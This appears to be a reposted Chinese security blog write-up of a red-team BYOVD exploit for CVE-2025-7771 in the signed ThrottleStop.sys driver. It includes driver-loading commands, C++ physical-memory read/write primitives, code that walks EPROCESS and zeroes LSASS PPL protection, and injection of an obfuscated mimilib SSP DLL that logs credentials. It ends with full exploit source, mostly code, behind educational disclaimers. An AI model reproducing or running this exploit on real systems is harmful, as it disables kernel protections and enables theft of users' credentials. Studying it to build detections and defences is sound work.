CVE-2025-7771:BYOVD实战——利用已签名内核驱动漏洞禁用LSASS保护

admin 2025-12-27 01:59:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解利用CVE-2025-7771漏洞对ThrottleStop驱动实施BYOVD攻击以禁用LSASSPPL保护的技术细节。通过逆向发现驱动未对MmMapIoSpace接口校验边界,实现了物理内存任意读写。作者构造读写原语定位并修改LSASS的EPROCESS结构,解除保护后注入SSPDLL窃取凭据。文章提供了完整的Exploit代码与实战步骤。 综合评分: 95 文章分类: 红队,渗透测试,漏洞分析,漏洞POC,二进制安全


cover_image

CVE-2025-7771:BYOVD 实战——利用已签名内核驱动漏洞禁用 LSASS 保护

Xavi

securitainment

2025年12月26日 11:24 中国香港

大家好!

这篇文章将分享我们在一次 Red Team 演练中的一项工作:我们发现了一个内核驱动漏洞,并为其开发了一个 exploit。借助该 exploit,我们禁用了 Local Security Authority Subsystem Service (LSASS) 进程中的多项 Microsoft 保护,从而能够以明文形式窃取凭据。

本文所开发的 exploit 针对 CVE-2025-7771。

据我们所知,撰写本文时该漏洞尚无公开 exploit,因此这项工作是首个公开 exploit。

这种技术通常被称为 Bring Your Own Vulnerable Driver (BYOVD):加载一个合法签名但存在漏洞的内核驱动,并利用其缺陷实现权限提升或绕过安全控制。

下面我们按步骤展开,先简要说明为什么内核驱动对攻击者如此有价值。

攻击者、内核驱动与 Microsoft 保护

对攻击者而言,控制一个 Windows 驱动意味着获得内核级执行能力:可以直接操纵内存、拦截 syscall,并访问硬件。被攻陷的驱动还可以禁用或规避 EDR、杀毒等安全工具,绕过 Microsoft 的多项防护,并成为权限提升、投放恶意软件或横向移动的强力手段。

为简化并兼顾跨平台兼容性,Windows 仅使用 Ring 0 与 Ring 3;因此,所有硬件驱动都运行在 Ring 0,在该级别它们可以执行特权指令并访问硬件设备。

在本文这一具体攻击场景中,我们利用驱动的内核能力禁用了 Microsoft 的 Protected Process Light (PPL) 保护。

为防止此类问题,Microsoft 实施了多种防护;下面介绍其中两项:

  • 驱动签名 (Driver Signing)
  • 易受攻击驱动阻止列表 (Vulnerable Driver Blocklist)

驱动签名 (Driver Signing)

Microsoft 通过强制执行 Driver Signing来维护 Windows 内核的完整性与安全性。内核模式驱动以高权限运行,能够直接与硬件及关键系统内存交互;如果允许未签名或未验证的驱动加载,就等于为恶意软件或不稳定代码打开了大门,使其以与操作系统本身同级的权限运行。

通过 要求数字签名,Windows 确保 只有经过验证且未被篡改的驱动才能在内核模式运行。每个已签名驱动都携带其来源与完整性的密码学证明,用于确认其未被修改或植入恶意 payload。

易受攻击驱动阻止列表 (Vulnerable Driver Blocklist)

Microsoft 的易受攻击 Driver Blocklist是集成到 Windows 中的一项安全功能,用于阻止加载那些已知含有可被利用漏洞的内核模式驱动,即使这些驱动具有数字签名。Microsoft 与硬件厂商以及安全研究社区合作维护该列表。

Microsoft 在其官方网页中表示,该阻止列表通常会随每个主要 Windows 版本更新 (大约每年 1-2 次)。不过,当发现新的威胁时,Microsoft 也可能通过 Windows Update,或作为安全汇总包的一部分发布临时更新。

如何找到已签名但未被拦截的驱动?

我们考虑了两条路径:寻找一个尚未公开的易受攻击驱动,或寻找一个最近披露但尚未被纳入 Microsoft 阻止列表的易受攻击驱动。由于时间限制,我们选择了第二条。

我们在 MITRE 上检索最新的驱动相关 CVE,最终锁定了 CVE-2025-7771

CVE 描述包含如下信息:

“ThrottleStop.sys 是一个合法驱动,暴露了两个 IOCTL 接口,可通过 MmMapIoSpace 函数对物理内存进行任意读写访问。这种不安全实现可被恶意的用户态应用利用,用于修改正在运行的 Windows 内核,并以 Ring 0 权限调用任意内核函数。该漏洞使本地攻击者能够在内核上下文中执行任意代码,导致权限提升,并可能引发后续攻击,例如禁用安全软件或绕过内核级保护。ThrottleStop.sys 版本 3.0.0.0 (以及可能的其他版本) 受影响。请按厂商说明应用更新。”

我们首先安装了 Throttlestop driver,验证其具备 Microsoft 签名,并确认它未被列入 Driver Blocklist。

测试该驱动

进一步研究后我们发现,ThrottleStop 软件会根据版本 (至少在我们审查的版本中) 使用两种不同的驱动:一种是 WinRing0,另一种是 ThrottleStop

为了与它们交互,需要创建一个服务并加载对应的 .sys 驱动文件:

sc.exe create ThrottleStop type= kernel start= auto binPath= C:\Users\Public\ThrottleStop.sys DisplayName= "ThrottleStop"
net start ThrottleStop
sc.exe create WinRing0 type= kernel start= auto binPath= C:\Users\Public\WinRing0.sys DisplayName= "WinRing0"
net start WinRing0

定位漏洞

在开始对驱动进行逆向之前,我们读到一篇很有意思的 Kaspersky 文章。这篇文章提供了不少有价值的细节,尽管其中的 IOCTL 代码以及部分数据与我们分析的驱动版本并不完全匹配;即便如此,它仍是很好的参考,尤其有助于理解地址转换 (address translation) 这一主题,我们稍后会介绍。

我们确认该 漏洞与 MmMapIoSpace有关。MmMapIoSpace 是一个将物理地址范围映射到非分页系统空间 (nonpaged system space) 的例程;如果驱动允许映射任意物理地址,攻击者就可以对映射得到的区域进行读写,从而实现对物理内存的任意读/写。

找到易受攻击的 IOCTL

与驱动交互:

HANDLE hDrv = NULL;
hDrv = CreateFileA("\\\\.\\ThrottleStop",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on driver!\n");
return -1;
}
else {
printf("[+] Handle on driver received!\n");
}

识别到的 IOCTL 代码:

# defineIOCTL_MMMAPIOSPACE0x8000645C

执行一次合法调用

要执行一次合法调用,我们需要弄清驱动期望的结构体是什么,并确保传入的数据有效。经过一些试错,我们确定下面这个结构是有效的:

#pragma pack(push,1)
typedefstruct {
    ULONGLONG PhysicalAddress; // +0
    DWORD NumberOfBytes; // +8
} PHYS_REQ; // 0x0C
#pragma pack(pop)

验证漏洞

如前所述,该软件使用两种驱动,这一点反而很有帮助:一个有漏洞,另一个没有。这使我们能够直接对比实现细节,从而定位到易受攻击驱动中的错误。

无漏洞驱动WinRing0

只允许映射 0xC0000 到 0xFFFFF 之间的物理内存。

这种设计是一种防护机制,用于防止在内核空间对物理内存进行任意读写。它将对 MmMapIoSpace 的调用 限制在 0xC0000–0xFFFFF的窗口 (ROM/VGA/option ROM) 内,从而阻止访问该范围之外的内存。

驱动开发者经常在面向用户的驱动中采用这类限制,以确保 IOCTL 调用无法被滥用为通用的内核内存读/写能力。

无漏洞的 WinRing0 驱动:可访问内存存在边界

有漏洞的驱动:ThrottleStop

该驱动在调用 MmMapIoSpace 之前 未做任何控制或校验,从而允许攻击者映射任意物理内存。

有漏洞的 ThrottleStop 驱动:可访问内存没有边界

地址转换 (Address Translation)

在解释 exploit 之前,需要先具备一个能力:将虚拟地址 (virtual address) 转换为物理地址 (physical address)。

为此,我们使用了 Superfetch,并沿用了 MedusaLocker 勒索软件背后 APT 组织所使用、且在 Kaspersky 博文中提及的方法。

首先,我们初始化 Superfetch:

auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
}

随后,可以将 virtual address转换为 physical address

auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return0;
}

开发 exploit

当这些代码片段准备好之后,就可以利用驱动中存在漏洞的 IOCTL 构造读/写原语 (read/write primitives)。

读原语 (Read Primitive)

读操作比较简单:把目标内存映射出来,然后读取即可。

uint64_txRead(HANDLE hDrv, uint64_t virt_addr) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
    }
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return0;
    }
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
    PHYS_REQ in{};
//in.PhysicalAddress = 0x000C0000ULL;
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
    IOCTL_MMMAPIOSPACE,
    &in, sizeof(in), // 0x0C
    &out, sizeof(out), // Accepts 4 or 8
    &br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsignedlonglong)virt_addr, (unsignedlonglong)result);
return result;
    }
return -1;
}

写原语 (Write Primitive)

写操作稍微复杂一些:先映射目标内存,然后把期望写入的数据写到映射区域中,原始的物理内存也会因此被修改。

uint64_txWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return0;
    }
auto phys = mm->translate((void*)where);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return0;
    }
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
    PHYS_REQ in{};
    in.PhysicalAddress = phys;
    in.NumberOfBytes = 0x8;
    ULONGLONG out = 0;
    DWORD br = 0;
    BOOL ok = DeviceIoControl(hDrv,
    IOCTL_MMMAPIOSPACE,
    &in, sizeof(in), // 0x0C
    &out, sizeof(out), // 8 (acepta 4 o 8)
    &br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
        ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
    }
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsignedlonglong)what, (unsignedlonglong)where);
    *(uint64_t*)out = what;
return0;
}

从一个内核内存地址读取到可控的值

禁用 PPL 保护

我们已经获得可用的读/写原语,可以进入下一步了。

下一步是 为 LSASS 进程禁用 PPL。为此,我们需要确定在 PS_PROTECTION / PPL结构中必须修改的字段。

在禁用 PPL 之后,我们就可以更自由地与 LSASS 交互:例如转储凭据,或像本文这样注入一个 SSP DLL。

这些保护存储在哪里?

这些保护信息存储在 LSASS 的 EPROCESS结构中的 PS_PROTECTION/PPL字段里。

首先,需要定位 NT 内核基址 (ntoskrnl.exe)。然后读取 PsInitialSystemProcess 指针,它指向 EPROCESS 双向链表的表头。之后可通过 Flink/Blink 字段遍历链表,直到找到 LSASS 的 EPROCESS。最后,在该 EPROCESS 中定位并修改相关的 PS_PROTECTION/PPL 字段,即可禁用保护。

下图对该流程进行了说明:

展示用于禁用 LSASS 保护的结构概览图

定位 Kernel Base

为了绕过 kASLR 并定位 exploit 所需的内核结构,首先必须找到 NT 内核基址。在非低完整性 (low-integrity) 的 shell 中,你可以使用 EnumDeviceDrivers WinAPI 调用枚举已加载的内核模块,从而发现 ntoskrnl.exe 的基址。

我们在 GetBaseAddr 函数中实现了这一点:

typedefNTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID GetBaseAddr(LPCWSTR drvname)
{
    LPVOID drivers[1024];
    DWORD cbNeeded;
int nDrivers, i = 0;
if&nbsp;(EnumDeviceDrivers(drivers,&nbsp;sizeof(drivers), &cbNeeded) && cbNeeded <&nbsp;sizeof(drivers))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; WCHAR szDrivers[1024];
&nbsp; &nbsp; &nbsp; &nbsp; nDrivers = cbNeeded /&nbsp;sizeof(drivers[0]);
for&nbsp;(i =&nbsp;0; i < nDrivers; i++)
&nbsp; &nbsp; &nbsp; &nbsp; {
if&nbsp;(GetDeviceDriverBaseName(drivers[i], szDrivers,&nbsp;sizeof(szDrivers) /&nbsp;sizeof(szDrivers[0])))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
if&nbsp;(wcscmp(szDrivers, drvname) ==&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
return&nbsp;drivers[i];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
return0;
}

以及该函数的调用方式:

LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");

从 NT 到 EPROCESS 双向链表

在 NT 内核基址的某个固定偏移处存在 PsInitialSystemProcess指针,它指向 System进程的 EPROCESS结构。

位于 NT 中的 PsInitialSystemProcess 指向 System 进程

找到正确的 EPROCESS

我们遍历链表并检查每个 EPROCESS 的 ImageFileName (或 PID),直到找到 LSASS 的 EPROCESS;如下代码片段所示:

ULONGLONG result =&nbsp;0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) +&nbsp;0x5412e0;
DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess +&nbsp;0x2e0);&nbsp;// +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid =&nbsp;0;
DWORD64 searchEprocess = Eprocess;
while&nbsp;(1)
{
&nbsp; &nbsp; searchEprocess =&nbsp;xRead(hDrv, (uint64_t)searchEprocess +&nbsp;0x2e8) -&nbsp;0x2e8;&nbsp;// +0x2e8 ActiveProcessLinks : _LIST_ENTRY
&nbsp; &nbsp; SearchProcessPid =&nbsp;xRead(hDrv, (uint64_t)searchEprocess +&nbsp;0x2e0);&nbsp;// +0x2e0 UniqueProcessId : Ptr64 Void
if&nbsp;(SearchProcessPid == lsassPid)&nbsp;// LSASS PROCESS
&nbsp; &nbsp; {
break;
&nbsp; &nbsp; }
}
printf("[+] Found LSASS EPROCESS!\n");

下图展示了各个结构之间的连接关系:

EPROCESS 双向链表

禁用 PPL 保护

要禁用 PPL,需要先将 PsProtectedType置 0,再将 PsProtectedSigner也置 0。

printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0);&nbsp;// +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");

DLL 注入

实现 Security Support Provider的 DLL 是 mimilib 库的一个混淆版本。该 DLL 实现了一个自定义 SSP,会在认证过程中把用户凭据记录到文件中。

我们确定了三种将 DLL 加载到 LSASS 进程中的方式:

  1. 在注册表中编辑“hklmsystemcurrentcontrolsetcontrollsaSecurity Packages”,并填写 DLL 的路径。
  2. 替换“c:windowssystem32”中一个实现了 SSP、且默认在启动时加载的现有 DLL。
  3. 使用 AddSecurityPackageA()API 调用,代码片段如下。
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");

前两种方法都需要重启机器,因此我们更倾向于使用 AddSecurityPackageA调用。

最终 exploit

完成最后一步后,代码就完整了,exploit 也就完成了:

驱动成功禁用了 PPL 保护并注入了 DLL

完整的 exploit 源码见下方。

感谢阅读,祝你 Happy Hacking!

#defineWIN32_NO_STATUS
#defineSECURITY_WIN32
#include<Windows.h>
#include<Psapi.h>
#include<superfetch/superfetch.h>
#include<tlhelp32.h>
#include<string>
#include<sspi.h>
#&nbsp;defineIOCTL_MMMAPIOSPACE0x8000645C
#pragma&nbsp;comment(lib, "Secur32.lib")
#pragma&nbsp;pack(push,1)
typedefstruct&nbsp;{
&nbsp; &nbsp; ULONGLONG&nbsp;PhysicalAddress;&nbsp;// +0
&nbsp; &nbsp; DWORD NumberOfBytes;&nbsp;// +8
} PHYS_REQ;&nbsp;// 0x0C
#pragma&nbsp;pack(pop)
// Struct needed to call nt!NtQueryIntervalProfile
typedefNTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID&nbsp;GetBaseAddr(LPCWSTR drvname)
{
&nbsp; &nbsp; LPVOID drivers[1024];
&nbsp; &nbsp; DWORD cbNeeded;
int&nbsp;nDrivers, i =&nbsp;0;
if&nbsp;(EnumDeviceDrivers(drivers,&nbsp;sizeof(drivers), &cbNeeded) && cbNeeded <&nbsp;sizeof(drivers))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; WCHAR szDrivers[1024];
&nbsp; &nbsp; &nbsp; &nbsp; nDrivers = cbNeeded /&nbsp;sizeof(drivers[0]);
for&nbsp;(i =&nbsp;0; i < nDrivers; i++)
&nbsp; &nbsp; &nbsp; &nbsp; {
if&nbsp;(GetDeviceDriverBaseName(drivers[i], szDrivers,&nbsp;sizeof(szDrivers) /&nbsp;sizeof(szDrivers[0])))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
if&nbsp;(wcscmp(szDrivers, drvname) ==&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
return&nbsp;drivers[i];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
return0;
}
uint64_txRead(HANDLE hDrv,&nbsp;uint64_t&nbsp;virt_addr) {
auto&nbsp;mm =&nbsp;spf::memory_map::current();
if&nbsp;(!mm) {
printf("[!] Superfetch init failed!\n");
return0;
&nbsp; &nbsp; }
auto&nbsp;phys = mm->translate((void*)virt_addr);
if&nbsp;(!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return0;
&nbsp; &nbsp; }
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
&nbsp; &nbsp; PHYS_REQ in{};
&nbsp; &nbsp; in.PhysicalAddress&nbsp;= phys;
&nbsp; &nbsp; in.NumberOfBytes&nbsp;=&nbsp;0x8;
&nbsp; &nbsp; ULONGLONG out =&nbsp;0;
&nbsp; &nbsp; DWORD br =&nbsp;0;
&nbsp; &nbsp; BOOL ok =&nbsp;DeviceIoControl(hDrv,
&nbsp; &nbsp; IOCTL_MMMAPIOSPACE,
&nbsp; &nbsp; &in,&nbsp;sizeof(in),&nbsp;// 0x0C
&nbsp; &nbsp; &out,&nbsp;sizeof(out),&nbsp;// Accepts 4 or 8
&nbsp; &nbsp; &br,&nbsp;nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if&nbsp;(ok && br ==&nbsp;8&nbsp;&& out) {
&nbsp; &nbsp; &nbsp; &nbsp; ULONGLONG result = *(volatile&nbsp;ULONGLONG*)(uintptr_t)out;&nbsp;// 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsignedlonglong)virt_addr, (unsignedlonglong)result);
return&nbsp;result;
&nbsp; &nbsp; }
return&nbsp;-1;
}
uint64_txWrite(HANDLE hDrv,&nbsp;uint64_t&nbsp;where,&nbsp;uint64_t&nbsp;what) {
auto&nbsp;mm =&nbsp;spf::memory_map::current();
if&nbsp;(!mm) {
printf("[!] Superfetch init failed!\n");
return0;
&nbsp; &nbsp; }
auto&nbsp;phys = mm->translate((void*)where);
if&nbsp;(!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return0;
&nbsp; &nbsp; }
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
&nbsp; &nbsp; PHYS_REQ in{};
&nbsp; &nbsp; in.PhysicalAddress&nbsp;= phys;
&nbsp; &nbsp; in.NumberOfBytes&nbsp;=&nbsp;0x8;
&nbsp; &nbsp; ULONGLONG out =&nbsp;0;
&nbsp; &nbsp; DWORD br =&nbsp;0;
&nbsp; &nbsp; BOOL ok =&nbsp;DeviceIoControl(hDrv,
&nbsp; &nbsp; IOCTL_MMMAPIOSPACE,
&nbsp; &nbsp; &in,&nbsp;sizeof(in),&nbsp;// 0x0C
&nbsp; &nbsp; &out,&nbsp;sizeof(out),&nbsp;// 8 (Accepts 4 or 8)
&nbsp; &nbsp; &br,&nbsp;nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if&nbsp;(ok && br ==&nbsp;8&nbsp;&& out) {
&nbsp; &nbsp; &nbsp; &nbsp; ULONGLONG result = *(volatile&nbsp;ULONGLONG*)(uintptr_t)out;&nbsp;// 8 bytes exactos
&nbsp; &nbsp; }
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsignedlonglong)what, (unsignedlonglong)where);
&nbsp; &nbsp; *(uint64_t*)out = what;
return0;
}
DWORD&nbsp;FindProcessId(const&nbsp;std::wstring& processName) {
&nbsp; &nbsp; DWORD processId =&nbsp;0;
&nbsp; &nbsp; HANDLE snapshot =&nbsp;CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,&nbsp;0);
if&nbsp;(snapshot == INVALID_HANDLE_VALUE)
return0;
&nbsp; &nbsp; PROCESSENTRY32W entry;
&nbsp; &nbsp; entry.dwSize&nbsp;=&nbsp;sizeof(PROCESSENTRY32W);
if&nbsp;(Process32FirstW(snapshot, &entry)) {
do&nbsp;{
if&nbsp;(!_wcsicmp(entry.szExeFile, processName.c_str())) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; processId = entry.th32ProcessID;
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;while&nbsp;(Process32NextW(snapshot, &entry));
&nbsp; &nbsp; }
CloseHandle(snapshot);
return&nbsp;processId;
}
intmain()
{
&nbsp; &nbsp; DWORD lsassPid =&nbsp;FindProcessId(L"lsass.exe");
printf("[+] Target process PID: %d\n", lsassPid);
//Installing the service
&nbsp; &nbsp; SC_HANDLE hSCManager;
&nbsp; &nbsp; SC_HANDLE hService;
// Open the Service Control Manager
&nbsp; &nbsp; hSCManager =&nbsp;OpenSCManager(NULL,&nbsp;NULL, SC_MANAGER_CREATE_SERVICE);
if&nbsp;(hSCManager ==&nbsp;NULL) {
printf("[!] Error opening SCM: %lu\n",&nbsp;GetLastError());
return1;
&nbsp; &nbsp; }
// Create the service
&nbsp; &nbsp; hService =&nbsp;CreateService(
&nbsp; &nbsp; hSCManager,
L"ThrottleStop",
L"ThrottleStop",
&nbsp; &nbsp; SERVICE_ALL_ACCESS,
&nbsp; &nbsp; SERVICE_KERNEL_DRIVER,
&nbsp; &nbsp; SERVICE_AUTO_START,
&nbsp; &nbsp; SERVICE_ERROR_NORMAL,
L"C:\\Users\\Public\\a.sys",
NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL,&nbsp;NULL);
if&nbsp;(hService ==&nbsp;NULL) {
printf("[+] Error creating service: %lu\n",&nbsp;GetLastError());
CloseServiceHandle(hSCManager);
//return 1;
&nbsp; &nbsp; }
printf("[!] Service created successfully.\n");
if&nbsp;(!StartService(hService,&nbsp;0,&nbsp;NULL)) {
printf("[!] Error starting the service: %lu\n",&nbsp;GetLastError());
&nbsp; &nbsp; }
else&nbsp;{
printf("[+] Service started correctly.\n");
&nbsp; &nbsp; }
&nbsp; &nbsp; LPVOID nt_base =&nbsp;GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);
&nbsp; &nbsp; HANDLE hDrv =&nbsp;NULL;
&nbsp; &nbsp; hDrv =&nbsp;CreateFileA("\\\\.\\ThrottleStop",
&nbsp; &nbsp; (GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
&nbsp; &nbsp; OPEN_EXISTING,
&nbsp; &nbsp; FILE_ATTRIBUTE_NORMAL,
NULL);
if&nbsp;(hDrv == INVALID_HANDLE_VALUE)
&nbsp; &nbsp; {
printf("[-] Failed to get a handle on driver!\n");
return&nbsp;-1;
&nbsp; &nbsp; }
else&nbsp;{
printf("[+] Handle on driver received!\n");
&nbsp; &nbsp; }
&nbsp; &nbsp; ULONGLONG result =&nbsp;0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
&nbsp; &nbsp; ULONGLONG system_eprocess =&nbsp;ULONGLONG(nt_base) +&nbsp;0x5412e0;
&nbsp; &nbsp; DWORD64 Eprocess =&nbsp;xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
&nbsp; &nbsp; DWORD64 CurrentProcessPid =&nbsp;xRead(hDrv, (uint64_t)system_eprocess +&nbsp;0x2e0);&nbsp;// +0x2e0 UniqueProcessId : Ptr64 Void
&nbsp; &nbsp; DWORD64 SearchProcessPid =&nbsp;0;
&nbsp; &nbsp; DWORD64 searchEprocess = Eprocess;
while&nbsp;(1)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; searchEprocess =&nbsp;xRead(hDrv, (uint64_t)searchEprocess +&nbsp;0x2e8) -&nbsp;0x2e8;&nbsp;// +0x2e8 ActiveProcessLinks : _LIST_ENTRY
&nbsp; &nbsp; &nbsp; &nbsp; SearchProcessPid =&nbsp;xRead(hDrv, (uint64_t)searchEprocess +&nbsp;0x2e0);&nbsp;// +0x2e0 UniqueProcessId : Ptr64 Void
if&nbsp;(SearchProcessPid == lsassPid)&nbsp;// LSASS PROCESS
&nbsp; &nbsp; &nbsp; &nbsp; {
break;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
printf("[+] Found LSASS EPROCESS!\n");
printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess +&nbsp;0x6ca,&nbsp;0x0);&nbsp;// +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess +&nbsp;0x6c8,&nbsp;0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");
CloseHandle(hDrv);
&nbsp; &nbsp; SECURITY_PACKAGE_OPTIONS spo = {};
&nbsp; &nbsp; SECURITY_STATUS ss =&nbsp;AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");
return0;
}

CVE-2025-7771 Exploiting a Signed Kernel Driver in a Red Team Operation

免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment Xavi《CVE-2025-7771:BYOVD 实战——利用已签名内核驱动漏洞禁用 LSASS 保护》

评论:0   参与:  0